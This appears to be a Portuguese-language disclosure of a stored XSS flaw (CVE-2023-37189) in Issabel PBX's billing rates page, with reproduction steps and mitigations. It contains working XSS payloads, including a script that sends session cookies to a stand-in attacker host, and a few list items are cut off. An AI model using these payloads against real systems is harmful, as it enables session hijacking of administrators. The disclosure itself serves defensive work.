
Existe uma vulnerabilidade de Cross-Site Scripting (XSS) armazenado no Issabel PBX versão 4.0.0-6, na página de gerenciamento de Billing Rates (index.php?menu=billing_rates).
| Campo | Detalhes |
|---|
| ID CVE | CVE-2023-37189 |
| Vulnerabilidade | Cross-Site Scripting (XSS) Armazenado |
| Produto Afetado | Issabel PBX 4.0.0-6 |
| URL Afetada | index.php?menu=billing_rates |
| Campos Vulneráveis | Campos Name e Prefix no módulo Criar Nova Tarifa |
| Severidade | Média (Pontuação Base CVSS 3.1: 6.1 — AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N) |
| Data do Relatório | 07 de julho de 2023 |
| Descoberto Por | Sahil Ojha |
| Testado Em | Windows |
| Site do Fornecedor | https://www.issabel.org/ |
| Código-Fonte do Software | https://github.com/IssabelFoundation/issabelPBX |
Existe uma vulnerabilidade de Cross-Site Scripting (XSS) Armazenado no Issabel PBX versão 4.0.0-6 na página de gerenciamento de tarifas de cobrança (index.php?menu=billing_rates).
O Issabel PBX é uma plataforma de comunicações unificadas de código aberto amplamente utilizada, construída sobre FreePBX/Asterisk. Seu recurso Cobrança → Tarifas permite que administradores definam entradas de tarifas de chamadas com um Nome e um Prefixo personalizados. Devido à sanitização insuficiente de entrada e à falta de codificação de saída, um usuário autenticado pode injetar HTML ou JavaScript arbitrário em qualquer um dos campos. O script malicioso é então armazenado de forma persistente no banco de dados da aplicação e executado automaticamente no navegador de qualquer usuário que posteriormente visite a página de Tarifas — incluindo outros administradores — sem qualquer interação adicional.
Essa classe de vulnerabilidade é particularmente perigosa em painéis administrativos porque:
Name e Prefix ao renderizar valores armazenados de volta à página.Os seguintes payloads, quando inseridos no campo Nome ou Prefixo do formulário Criar Nova Tarifa, demonstram a vulnerabilidade:
Alerta básico (verificação de funcionamento):
<script>alert('XSS')</script>
Roubo de cookie de sessão (substitua attacker.example.com por um servidor seu e autorizado — nunca ataque usuários ou sistemas reais):
<script>document.location='https://attacker.example.com/steal?c='+document.cookie</script>
Payload de onerror baseado em imagem (evasão de WAF):
⚠️ Nota: Estes payloads são fornecidos estritamente para fins educacionais e de pesquisa em segurança. Sempre obtenha autorização formal por escrito antes de testar em qualquer sistema que você não possua.
Faça login na interface web do Issabel PBX usando uma conta de administrador.
Navegue até Relatórios → Cobrança → Tarifas (URL: index.php?menu=billing_rates).
Clique em "Criar Nova Tarifa" e insira um payload XSS elaborado no campo Prefixo ou Nome.

Clique em Salvar. O payload agora está armazenado no banco de dados.
Qualquer usuário (incluindo outros administradores) que visitar a página de Tarifas de Cobrança terá o script executado automaticamente em seu navegador.


Recomenda-se ao fornecedor e aos administradores de sistemas aplicar as seguintes contramedidas:
htmlspecialchars() no PHP com ENT_QUOTES). Esta é a principal e mais confiável defesa contra XSS.<, >, ", ', &) antes de armazenar os dados. Observe que apenas a validação de entrada pode ser contornada e não deve ser usada como controle exclusivo.Content-Security-Policy para restringir a execução de scripts inline.Este repositório e as informações aqui contidas são fornecidos exclusivamente para fins educacionais e de pesquisa em segurança. O autor não é responsável por qualquer uso indevido ou dano causado pelas informações fornecidas. Sempre obtenha permissão explícita por escrito do proprietário do sistema antes de realizar qualquer teste de segurança.
Descoberto e divulgado por Sahil Ojha